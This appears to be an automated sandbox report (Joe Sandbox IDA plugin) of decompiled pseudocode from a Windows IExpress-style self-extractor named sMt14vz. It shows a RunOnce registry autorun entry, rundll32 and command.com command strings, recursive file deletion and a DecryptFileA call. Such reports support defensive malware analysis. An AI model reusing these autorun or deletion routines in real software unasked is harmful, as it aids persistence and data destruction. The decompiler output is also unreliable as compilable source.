Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: String$PrivateProfile$AllocAttributesCompareFileLoadLocalMessageNamePathShort
String ID: "$.BAT$.INF$AdvancedINF$Command.com /c %s$DefaultInstall$Reboot$Version$rundll32.exe %s,InstallHinfSection %s 128 %s$setupapi.dll$setupx.dll
API String ID: 383838535-3174370420
Opcode ID: ed84142cd2e4cfdebd01dab6928d1865ffd986d50b6b229d88b9822915a527e0
Instruction ID: 1cd4f7c3f0556dd74a549e06e8f287729551a4c570a57170f901a7dbfa7361c8
Opcode Fuzzy Hash: ed84142cd2e4cfdebd01dab6928d1865ffd986d50b6b229d88b9822915a527e0
Instruction Fuzzy Hash: FEA17970A003196BEB70AB38CC44FEA3BA9AF55310F1442D9E5D5A32C1DFB19E85CB50

Uniqueness

Uniqueness Score: -1.00%

Function 010D2F1D Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 120
libraryfileloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 82%

			E010D2F1D(void* __ecx, int __edx) {
				signed int _v8;
				char _v272;
				_Unknown_base(*)()* _v276;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t9;
				void* _t11;
				struct HWND__* _t12;
				void* _t14;
				int _t21;
				signed int _t22;
				signed int _t25;
				intOrPtr* _t26;
				signed int _t27;
				void* _t30;
				_Unknown_base(*)()* _t31;
				void* _t34;
				struct HINSTANCE__* _t36;
				intOrPtr* _t44;
				signed int _t46;
				int _t47;
				void* _t58;

				_t43 = __edx;
				_t9 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t9 ^ _t46;
				if( *0x10d8a38 != 0) {
					L5:
					_t11 = E010D5164(_t52);
					_t53 = _t11;
					if(_t11 == 0) {
						L16:
						_t12 = 0;
						L17:
						return E010D6CE0(_t12, _t36, _v8 ^ _t46, _t43, _t44, _t45);
					}
					_t14 = E010D55A0(_t53); // executed
					if(_t14 == 0) {
						goto L16;
					} else {
						_t45 = 0x105;
						GetSystemDirectoryA( &_v272, 0x105);
						_t43 = 0x105;
						_t40 =  &_v272;
						E010D658A( &_v272, 0x105, "advapi32.dll");
						_t36 = LoadLibraryA( &_v272);
						_t44 = 0;
						if(_t36 != 0) {
							_t31 = GetProcAddress(_t36, "DecryptFileA");
							_v276 = _t31;
							if(_t31 != 0) {
								_t45 = _t47;
								_t40 = _t31;
								 *0x10da288(0x10d91e4, 0); // executed
								_v276();
								if(_t47 != _t47) {
									_t40 = 4;
									asm("int 0x29");
								}
							}
						}
						FreeLibrary(_t36);
						_t58 =  *0x10d8a24 - _t44; // 0x0
						if(_t58 != 0 ||  *0x10d9a30 != _t44) {
							L14:
							_t21 = SetCurrentDirectoryA(0x10d91e4); // executed
							if(_t21 != 0) {
								__eflags =  *0x10d8a2c - _t44; // 0x0
								if(__eflags != 0) {
									L20:
									__eflags =  *0x10d8d48 & 0x000000c0;
									if(( *0x10d8d48 & 0x000000c0) == 0) {
										_t26 = E010D256D( *0x10d9a40); // executed
										_t44 = _t26;
									}
									_t22 =  *0x10d8a24; // 0x0
									 *0x10d9a44 = _t44;
									__eflags = _t22;
									if(_t22 != 0) {
										L26:
										__eflags =  *0x10d8a38;
										if( *0x10d8a38 == 0) {
											__eflags = _t22;
											if(__eflags == 0) {
												E010D4169(__eflags);
											}
										}
										_t12 = 1;
										goto L17;
									} else {
										__eflags =  *0x10d9a30 - _t22;
										if( *0x10d9a30 != _t22) {
											goto L26;
										}
										_t25 = E010D3BA2(); // executed
										__eflags = _t25;
										if(_t25 == 0) {
											goto L16;
										}
										_t22 =  *0x10d8a24; // 0x0
										goto L26;
									}
								}
								_t27 = E010D3B26(_t40, _t44);
								__eflags = _t27;
								if(_t27 == 0) {
									goto L16;
								}
								goto L20;
							}
							_t43 = 0x4bc;
							E010D44B9(0, 0x4bc, _t44, _t44, 0x10, _t44);
							 *0x10d9124 = E010D6285();
							goto L16;
						} else {
							_t30 = E010D621E(); // executed
							if(_t30 == 0) {
								goto L16;
							}
							goto L14;
						}
					}
				}
				_t49 =  *0x10d8a24;
				if( *0x10d8a24 != 0) {
					L4:
					_t34 = E010D3A3F(_t51);
					_t52 = _t34;
					if(_t34 == 0) {
						goto L16;
					}
					goto L5;
				}
				if(E010D51E5(_t49) == 0) {
					goto L16;
				}
				_t51 =  *0x10d8a38;
				if( *0x10d8a38 != 0) {
					goto L5;
				}
				goto L4;
			}

0x010d2f1d
0x010d2f28
0x010d2f2f
0x010d2f3d
0x010d2f6c
0x010d2f6c
0x010d2f71
0x010d2f73
0x010d3041
0x010d3041
0x010d3043
0x010d3053
0x010d3053
0x010d2f79
0x010d2f80
0x00000000
0x010d2f86
0x010d2f86
0x010d2f93
0x010d2f9e
0x010d2fa0
0x010d2fa6
0x010d2fb8
0x010d2fba
0x010d2fbe
0x010d2fc6
0x010d2fcc
0x010d2fd4
0x010d2fd6
0x010d2fd8
0x010d2fe0
0x010d2fe6
0x010d2fee
0x010d2ff0
0x010d2ff5
0x010d2ff5
0x010d2fee
0x010d2fd4
0x010d2ff8
0x010d2ffe
0x010d3004
0x010d3017
0x010d301c
0x010d3024
0x010d3054
0x010d305a
0x010d3065
0x010d3065
0x010d306c
0x010d3075
0x010d307a
0x010d307a
0x010d307c
0x010d3081
0x010d3087
0x010d3089
0x010d30a1
0x010d30a1
0x010d30a9
0x010d30ab
0x010d30ad
0x010d30af
0x010d30af
0x010d30ad
0x010d30b6
0x00000000
0x010d308b
0x010d308b
0x010d3091
0x00000000
0x00000000
0x010d3093
0x010d3098
0x010d309a
0x00000000
0x00000000
0x010d309c
0x00000000
0x010d309c
0x010d3089
0x010d305c
0x010d3061
0x010d3063
0x00000000
0x00000000
0x00000000
0x010d3063
0x010d302b
0x010d3032
0x010d303c
0x00000000
0x010d300e
0x010d300e
0x010d3015
0x00000000
0x00000000
0x00000000
0x010d3015
0x010d3004
0x010d2f80
0x010d2f3f
0x010d2f46
0x010d2f5f
0x010d2f5f
0x010d2f64
0x010d2f66
0x00000000
0x00000000
0x00000000
0x010d2f66
0x010d2f4f
0x00000000
0x00000000
0x010d2f55
0x010d2f5d
0x00000000
0x00000000
0x00000000

APIs

GetSystemDirectoryA.KERNEL32 ref: 010D2F93
LoadLibraryA.KERNEL32(?,advapi32.dll), ref: 010D2FB2
GetProcAddress.KERNEL32(00000000,DecryptFileA), ref: 010D2FC6
DecryptFileA.ADVAPI32 ref: 010D2FE6
FreeLibrary.KERNEL32(00000000), ref: 010D2FF8
SetCurrentDirectoryA.KERNELBASE(010D91E4), ref: 010D301C

Part of subcall function 010D51E5: LocalAlloc.KERNEL32(00000040,00000001,00000000,?,00000002,00000000,010D2F4D,?,00000002,00000000), ref: 010D5201

Strings

DecryptFileA, xrefs: 010D2FC0
advapi32.dll, xrefs: 010D2F99

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: DirectoryLibrary$AddressAllocCurrentDecryptFileFreeLoadLocalProcSystem
String ID: DecryptFileA$advapi32.dll
API String ID: 2126469477-2381948369
Opcode ID: 91289b71f9bb5fd24269c9eea198347ccd330ca9c8c55b162b403bf062b58e12
Instruction ID: ea1ae867a40cabce1fb9080f12161bd70bcd90704692a8f9692a425c921c2b30
Opcode Fuzzy Hash: 91289b71f9bb5fd24269c9eea198347ccd330ca9c8c55b162b403bf062b58e12
Instruction Fuzzy Hash: 0641FA71A013168AEB71AB7D9C547A63BE8BB44754F0040A5FEC1CA145EB7AC580CB63

Uniqueness

Uniqueness Score: -1.00%

Function 010D2390 Relevance: 12.1, APIs: 8, Instructions: 93
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 86%

			E010D2390(CHAR* __ecx) {
				signed int _v8;
				char _v276;
				char _v280;
				char _v284;
				struct _WIN32_FIND_DATAA _v596;
				struct _WIN32_FIND_DATAA _v604;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t21;
				int _t36;
				void* _t46;
				void* _t62;
				void* _t63;
				CHAR* _t65;
				void* _t66;
				signed int _t67;
				signed int _t69;

				_t69 = (_t67 & 0xfffffff8) - 0x254;
				_t21 =  *0x10d8004; // 0xc2f4ed82
				_t22 = _t21 ^ _t69;
				_v8 = _t21 ^ _t69;
				_t65 = __ecx;
				if(__ecx == 0 ||  *((char*)(__ecx)) == 0) {
					L10:
					_pop(_t62);
					_pop(_t66);
					_pop(_t46);
					return E010D6CE0(_t22, _t46, _v8 ^ _t69, _t58, _t62, _t66);
				} else {
					E010D1680( &_v276, 0x104, __ecx);
					_t58 = 0x104;
					E010D16B3( &_v280, 0x104, "*");
					_t22 = FindFirstFileA( &_v284,  &_v604); // executed
					_t63 = _t22;
					if(_t63 == 0xffffffff) {
						goto L10;
					} else {
						goto L3;
					}
					do {
						L3:
						_t58 = 0x104;
						E010D1680( &_v276, 0x104, _t65);
						if((_v604.ftCreationTime & 0x00000010) == 0) {
							_t58 = 0x104;
							E010D16B3( &_v276, 0x104,  &(_v596.dwReserved1));
							SetFileAttributesA( &_v280, 0x80);
							DeleteFileA( &_v280);
						} else {
							if(lstrcmpA( &(_v596.dwReserved1), ".") != 0 && lstrcmpA( &(_v596.cFileName), "..") != 0) {
								E010D16B3( &_v276, 0x104,  &(_v596.cFileName));
								_t58 = 0x104;
								E010D658A( &_v280, 0x104, 0x10d1140);
								E010D2390( &_v284);
							}
						}
						_t36 = FindNextFileA(_t63,  &_v596); // executed
					} while (_t36 != 0);
					FindClose(_t63); // executed
					_t22 = RemoveDirectoryA(_t65); // executed
					goto L10;
				}
			}

0x010d2398
0x010d239e
0x010d23a3
0x010d23a5
0x010d23ae
0x010d23b3
0x010d24cb
0x010d24d2
0x010d24d3
0x010d24d4
0x010d24df
0x010d23c2
0x010d23d1
0x010d23db
0x010d23e4
0x010d23f6
0x010d23fc
0x010d2401
0x00000000
0x00000000
0x00000000
0x00000000
0x010d2407
0x010d2407
0x010d2408
0x010d2411
0x010d241f
0x010d247a
0x010d2483
0x010d2495
0x010d24a3
0x010d2421
0x010d242f
0x010d2453
0x010d245d
0x010d2466
0x010d2472
0x010d2472
0x010d242f
0x010d24af
0x010d24b5
0x010d24be
0x010d24c5
0x00000000
0x010d24c5

APIs

FindFirstFileA.KERNELBASE(?,010D8A3A,010D11F4,010D8A3A,00000000,?,?), ref: 010D23F6
lstrcmpA.KERNEL32(?,010D11F8), ref: 010D2427
lstrcmpA.KERNEL32(?,010D11FC), ref: 010D243B
SetFileAttributesA.KERNEL32(?,00000080,?), ref: 010D2495
DeleteFileA.KERNEL32(?), ref: 010D24A3
FindNextFileA.KERNELBASE(00000000,00000010), ref: 010D24AF
FindClose.KERNELBASE(00000000), ref: 010D24BE
RemoveDirectoryA.KERNELBASE(010D8A3A), ref: 010D24C5

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: File$Find$lstrcmp$AttributesCloseDeleteDirectoryFirstNextRemove
String ID:
API String ID: 836429354-0
Opcode ID: 68ee347738cc41d3da11f69a4aee2b671cc07626fb09fbd64ddb13d9a7b16e51
Instruction ID: ff7caeb8733792fbb63f93d0595c72f50002d6cbcd6a4c2d164eae63206117eb
Opcode Fuzzy Hash: 68ee347738cc41d3da11f69a4aee2b671cc07626fb09fbd64ddb13d9a7b16e51
Instruction Fuzzy Hash: 9A319232605741ABD330DAB4CD88AEB77ECAFC4305F04492DB9D587180EF7895098752

Uniqueness

Uniqueness Score: -1.00%

Function 010D2BFB Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 63
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E010D2BFB(struct HINSTANCE__* _a4, intOrPtr _a12) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t4;
				void* _t6;
				void* _t9;
				struct HINSTANCE__* _t12;
				intOrPtr* _t17;
				intOrPtr* _t21;
				void* _t22;
				void* _t24;
				intOrPtr _t32;

				_t4 = GetVersion();
				if(_t4 >= 0 && _t4 >= 6) {
					_t12 = GetModuleHandleW(L"Kernel32.dll");
					if(_t12 != 0) {
						_t21 = GetProcAddress(_t12, "HeapSetInformation");
						if(_t21 != 0) {
							_t17 = _t21;
							 *0x10da288(0, 1, 0, 0);
							 *_t21();
							_t29 = _t24 - _t24;
							if(_t24 != _t24) {
								_t17 = 4;
								asm("int 0x29");
							}
						}
					}
				}
				_t20 = _a12;
				_t18 = _a4;
				 *0x10d9124 = 0;
				if(E010D2CAA(_a4, _a12, _t29, _t17) != 0) {
					_t9 = E010D2F1D(_t18, _t20); // executed
					_t22 = _t9; // executed
					E010D52B6(0, _t18, _t21, _t22); // executed
					if(_t22 != 0) {
						_t32 =  *0x10d8a3a; // 0x0
						if(_t32 == 0) {
							_t19 =  *0x10d9a2c;
							if(( *0x10d9a2c & 0x00000001) != 0) {
								E010D1F90(_t19, _t21, _t22);
							}
						}
					}
				}
				_t6 =  *0x10d8588; // 0x0
				if(_t6 != 0) {
					CloseHandle(_t6);
				}
				return  *0x10d9124;
			}

0x010d2c03
0x010d2c0d
0x010d2c18
0x010d2c20
0x010d2c2e
0x010d2c32
0x010d2c36
0x010d2c3d
0x010d2c43
0x010d2c45
0x010d2c47
0x010d2c49
0x010d2c4e
0x010d2c4e
0x010d2c47
0x010d2c32
0x010d2c20
0x010d2c50
0x010d2c54
0x010d2c57
0x010d2c64
0x010d2c66
0x010d2c6b
0x010d2c6d
0x010d2c74
0x010d2c76
0x010d2c7c
0x010d2c7e
0x010d2c87
0x010d2c89
0x010d2c89
0x010d2c87
0x010d2c7c
0x010d2c74
0x010d2c8e
0x010d2c95
0x010d2c98
0x010d2c98
0x010d2ca7

APIs

GetVersion.KERNEL32(?,00000002,00000000,?,010D6BB0,010D0000,00000000,00000002,0000000A), ref: 010D2C03
GetModuleHandleW.KERNEL32(Kernel32.dll,?,010D6BB0,010D0000,00000000,00000002,0000000A), ref: 010D2C18
GetProcAddress.KERNEL32(00000000,HeapSetInformation), ref: 010D2C28
CloseHandle.KERNEL32(00000000,?,?,010D6BB0,010D0000,00000000,00000002,0000000A), ref: 010D2C98

Strings

Kernel32.dll, xrefs: 010D2C13
HeapSetInformation, xrefs: 010D2C22

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Handle$AddressCloseModuleProcVersion
String ID: HeapSetInformation$Kernel32.dll
API String ID: 62482547-3460614246
Opcode ID: 778b361e5eabb992e38925143ce9c38470ea9369d8f18aafe70c9b69ad61d013
Instruction ID: 55c93763009cd4959a9789fbfad85669d53e7c3be164d9d516da10407b26cf7e
Opcode Fuzzy Hash: 778b361e5eabb992e38925143ce9c38470ea9369d8f18aafe70c9b69ad61d013
Instruction Fuzzy Hash: A911E57130130A9BE7307BF9A888A6B3FA99B84394B041059FED0D3248DA3AEC418764

Uniqueness

Uniqueness Score: -1.00%

Function 010D6F40 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E010D6F40() {

				SetUnhandledExceptionFilter(E010D6EF0); // executed
				return 0;
			}

0x010d6f45
0x010d6f4d

APIs

SetUnhandledExceptionFilter.KERNELBASE(Function_00006EF0), ref: 010D6F45

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: e78a5aeaeb1481db3ffe21c7ec0770ab5e5dc1995d7d6bfa028e495c7508023b
Instruction ID: d0d7e6586172d70d0494d79137eee9ddc826bc1724da360a78826841706d5256
Opcode Fuzzy Hash: e78a5aeaeb1481db3ffe21c7ec0770ab5e5dc1995d7d6bfa028e495c7508023b
Instruction Fuzzy Hash: 0F900274352200D796201B71991941575915E4D6427815464E491C9448DB6640405611

Uniqueness

Uniqueness Score: -1.00%

Function 010D202A Relevance: 40.4, APIs: 16, Strings: 7, Instructions: 185
registrylibrarymemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			E010D202A(struct HINSTANCE__* __edx) {
				signed int _v8;
				char _v268;
				char _v528;
				void* _v532;
				int _v536;
				int _v540;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				long _t36;
				long _t41;
				struct HINSTANCE__* _t46;
				intOrPtr _t49;
				intOrPtr _t50;
				CHAR* _t54;
				void _t56;
				signed int _t66;
				intOrPtr* _t72;
				void* _t73;
				void* _t75;
				void* _t80;
				intOrPtr* _t81;
				void* _t86;
				void* _t87;
				void* _t89;
				void* _t90;
				_Unknown_base(*)()* _t91;
				signed int _t93;
				void* _t94;
				void* _t95;

				_t79 = __edx;
				_t28 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t28 ^ _t93;
				_t84 = 0x104;
				memset( &_v268, 0, 0x104);
				memset( &_v528, 0, 0x104);
				_t95 = _t94 + 0x18;
				_t66 = 0;
				_t36 = RegCreateKeyExA(0x80000002, "Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce", 0, 0, 0, 0x2001f, 0,  &_v532,  &_v536); // executed
				if(_t36 != 0) {
					L24:
					return E010D6CE0(_t36, _t66, _v8 ^ _t93, _t79, _t84, _t86);
				}
				_push(_t86);
				_t87 = 0;
				while(1) {
					E010D171E("wextract_cleanup2", 0x50, "wextract_cleanup%d", _t87);
					_t95 = _t95 + 0x10;
					_t41 = RegQueryValueExA(_v532, "wextract_cleanup2", 0, 0, 0,  &_v540); // executed
					if(_t41 != 0) {
						break;
					}
					_t87 = _t87 + 1;
					if(_t87 < 0xc8) {
						continue;
					}
					break;
				}
				if(_t87 != 0xc8) {
					GetSystemDirectoryA( &_v528, _t84);
					_t79 = _t84;
					E010D658A( &_v528, _t84, "advpack.dll");
					_t46 = LoadLibraryA( &_v528); // executed
					_t84 = _t46;
					if(_t84 == 0) {
						L10:
						if(GetModuleFileNameA( *0x10d9a3c,  &_v268, 0x104) == 0) {
							L17:
							_t36 = RegCloseKey(_v532);
							L23:
							_pop(_t86);
							goto L24;
						}
						L11:
						_t72 =  &_v268;
						_t80 = _t72 + 1;
						do {
							_t49 =  *_t72;
							_t72 = _t72 + 1;
						} while (_t49 != 0);
						_t73 = _t72 - _t80;
						_t81 = 0x10d91e4;
						_t19 = _t81 + 1; // 0x10d91e5
						_t89 = _t19;
						do {
							_t50 =  *_t81;
							_t81 = _t81 + 1;
						} while (_t50 != 0);
						_t84 = _t73 + 0x50 + _t81 - _t89;
						_t90 = LocalAlloc(0x40, _t73 + 0x50 + _t81 - _t89);
						if(_t90 != 0) {
							 *0x10d8580 = _t66 ^ 0x00000001;
							_t54 = "rundll32.exe %sadvpack.dll,DelNodeRunDLL32 \"%s\"";
							if(_t66 == 0) {
								_t54 = "%s /D:%s";
							}
							_push(0x10d91e4);
							E010D171E(_t90, _t84, _t54,  &_v268);
							_t75 = _t90;
							_t23 = _t75 + 1; // 0x1
							_t79 = _t23;
							do {
								_t56 =  *_t75;
								_t75 = _t75 + 1;
							} while (_t56 != 0);
							_t24 = _t75 - _t79 + 1; // 0x2
							RegSetValueExA(_v532, "wextract_cleanup2", 0, 1, _t90, _t24); // executed
							RegCloseKey(_v532); // executed
							_t36 = LocalFree(_t90);
							goto L23;
						}
						_t79 = 0x4b5;
						E010D44B9(0, 0x4b5, _t51, _t51, 0x10, _t51);
						goto L17;
					}
					_t91 = GetProcAddress(_t84, "DelNodeRunDLL32");
					_t66 = 0 | _t91 != 0x00000000;
					FreeLibrary(_t84); // executed
					if(_t91 == 0) {
						goto L10;
					}
					if(GetSystemDirectoryA( &_v268, 0x104) != 0) {
						E010D658A( &_v268, 0x104, 0x10d1140);
					}
					goto L11;
				}
				_t36 = RegCloseKey(_v532);
				 *0x10d8530 = _t66;
				goto L23;
			}

0x010d202a
0x010d2035
0x010d203c
0x010d2041
0x010d2050
0x010d205f
0x010d2064
0x010d206f
0x010d208c
0x010d2094
0x010d2257
0x010d2266
0x010d2266
0x010d209a
0x010d209b
0x010d209d
0x010d20aa
0x010d20af
0x010d20c9
0x010d20d1
0x00000000
0x00000000
0x010d20d3
0x010d20da
0x00000000
0x00000000
0x00000000
0x010d20da
0x010d20e2
0x010d2103
0x010d210e
0x010d2116
0x010d2122
0x010d2128
0x010d212c
0x010d2179
0x010d2194
0x010d21de
0x010d21e4
0x010d2256
0x010d2256
0x00000000
0x010d2256
0x010d2196
0x010d2196
0x010d219c
0x010d219f
0x010d219f
0x010d21a1
0x010d21a2
0x010d21a6
0x010d21a8
0x010d21ad
0x010d21ad
0x010d21b0
0x010d21b0
0x010d21b2
0x010d21b3
0x010d21bc
0x010d21c7
0x010d21cb
0x010d21f1
0x010d21f6
0x010d21fd
0x010d21ff
0x010d21ff
0x010d2204
0x010d2213
0x010d2218
0x010d221d
0x010d221d
0x010d2220
0x010d2220
0x010d2222
0x010d2223
0x010d2229
0x010d223d
0x010d2249
0x010d2250
0x00000000
0x010d2250
0x010d21d2
0x010d21d9
0x00000000
0x010d21d9
0x010d213a
0x010d2141
0x010d2144
0x010d214c
0x00000000
0x00000000
0x010d2163
0x010d2172
0x010d2172
0x00000000
0x010d2163
0x010d20ea
0x010d20f0
0x00000000

APIs

memset.MSVCRT ref: 010D2050
memset.MSVCRT ref: 010D205F
RegCreateKeyExA.KERNELBASE(80000002,Software\Microsoft\Windows\CurrentVersion\RunOnce,00000000,00000000,00000000,0002001F,00000000,?,?,?,?,?,?,00000000,00000000), ref: 010D208C

Part of subcall function 010D171E: _vsnprintf.MSVCRT ref: 010D1750

RegQueryValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000000,00000000,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D20C9
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D20EA
GetSystemDirectoryA.KERNEL32 ref: 010D2103
LoadLibraryA.KERNELBASE(?,advpack.dll,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D2122
GetProcAddress.KERNEL32(00000000,DelNodeRunDLL32), ref: 010D2134
FreeLibrary.KERNELBASE(00000000,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D2144
GetSystemDirectoryA.KERNEL32 ref: 010D215B
GetModuleFileNameA.KERNEL32(?,00000104,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D218C
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D21C1
RegCloseKey.ADVAPI32(?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D21E4
RegSetValueExA.KERNELBASE(?,wextract_cleanup2,00000000,00000001,00000000,00000002,?,?,?,?,?,?,?,?,?), ref: 010D223D
RegCloseKey.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D2249
LocalFree.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 010D2250

Strings

wextract_cleanup2, xrefs: 010D20A5, 010D20BE, 010D20F0, 010D2232
wextract_cleanup%d, xrefs: 010D209E
advpack.dll, xrefs: 010D2109
Software\Microsoft\Windows\CurrentVersion\RunOnce, xrefs: 010D2082
DelNodeRunDLL32, xrefs: 010D212E
%s /D:%s, xrefs: 010D21FF, 010D2210
rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s", xrefs: 010D21F6

Memory Dump Source

Source File: 00000002.00000002.338526724.00000000010D1000.00000020.00000001.01000000.00000005.sdmp, Offset: 010D0000, based on PE: true

Associated: 00000002.00000002.338519106.00000000010D0000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338553666.00000000010D8000.00000004.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DA000.00000002.00000001.01000000.00000005.sdmpDownload File
Associated: 00000002.00000002.338572992.00000000010DC000.00000002.00000001.01000000.00000005.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_10d0000_sMt14vz.jbxd

Similarity

API ID: Close$DirectoryFreeLibraryLocalSystemValuememset$AddressAllocCreateFileLoadModuleNameProcQuery_vsnprintf
String ID: %s /D:%s$DelNodeRunDLL32$Software\Microsoft\Windows\CurrentVersion\RunOnce$advpack.dll$rundll32.exe %sadvpack.dll,DelNodeRunDLL32 "%s"$wextract_cleanup%d$wextract_cleanup2
API String ID: 178549006-4264933467
Opcode ID: 5223cf364f92c69e55e00bcb9848098562d76c52a97c67dbcbf0c9afb6d96d68
Instruction ID: 8d1a3d47011323622309a21cf03de7f05142ac7ffcb73a483c0e2085f8f52de0
Opcode Fuzzy Hash: 5223cf364f92c69e55e00bcb9848098562d76c52a97c67dbcbf0c9afb6d96d68
Instruction Fuzzy Hash: 6851F179A01314ABDB309B74DC48FFA7B7CEB50700F0081A9FEC9E7145DA769A858B60

Uniqueness

Uniqueness Score: -1.00%

Function 010D55A0 Relevance: 30.0, APIs: 12, Strings: 5, Instructions: 248
memorystringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 92%

			E010D55A0(void* __eflags) {
				signed int _v8;
				char _v265;
				char _v268;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t28;
				int _t32;
				int _t33;
				int _t35;
				signed int _t36;
				signed int _t38;
				int _t40;
				int _t44;
				long _t48;
				int _t49;
				int _t50;
				signed int _t53;
				int _t54;
				int _t59;
				char _t60;
				int _t65;
				char _t66;
				int _t67;
				int _t68;
				int _t69;
				int _t70;
				int _t71;
				struct _SECURITY_ATTRIBUTES* _t72;
				int _t73;
				CHAR* _t82;
				CHAR* _t88;
				void* _t103;
				signed int _t110;

				_t28 =  *0x10d8004; // 0xc2f4ed82
				_v8 = _t28 ^ _t110;
				_t2 = E010D468F("RUNPROGRAM", 0, 0) + 1; // 0x1
				_t109 = LocalAlloc(0x40, _t2);
				if(_t109 != 0) {
					_t82 = "RUNPROGRAM";
					_t32 = E010D468F(_t82, _t109, 1);
					__eflags = _t32;
					if(_t32 != 0) {
						_t33 = lstrcmpA(_t109, "<None>");
						__eflags = _t33;
						if(_t33 == 0) {
							 *0x10d9a30 = 1;
						}
						LocalFree(_t109);
						_t35 =  *0x10d8b3e; // 0x0
						__eflags = _t35;
						if(_t35 == 0) {
							__eflags =  *0x10d8a24; // 0x0
							if(__eflags != 0) {
								L46:
								_t101 = 0x7d2;
								_t36 = E010D6517(_t82, 0x7d2, 0, E010D3210, 0, 0);
								asm("sbb eax, eax");
								_t38 =  ~( ~_t36);
							} else {
								__eflags =  *0x10d9a30;
								if( *0x10d9a30 != 0) {
									goto L46;
								} else {
									_t109 = 0x10d91e4;
									_t40 = GetTempPathA(0x104, 0x10d91e4);
									__eflags = _t40;
									if(_t40 == 0) {
										L19:
										_push(_t82);
										E010D1781( &_v268, 0x104, _t82, "A:\\");
										__eflags = _v268 - 0x5a;
										if(_v268 <= 0x5a) {
											do {
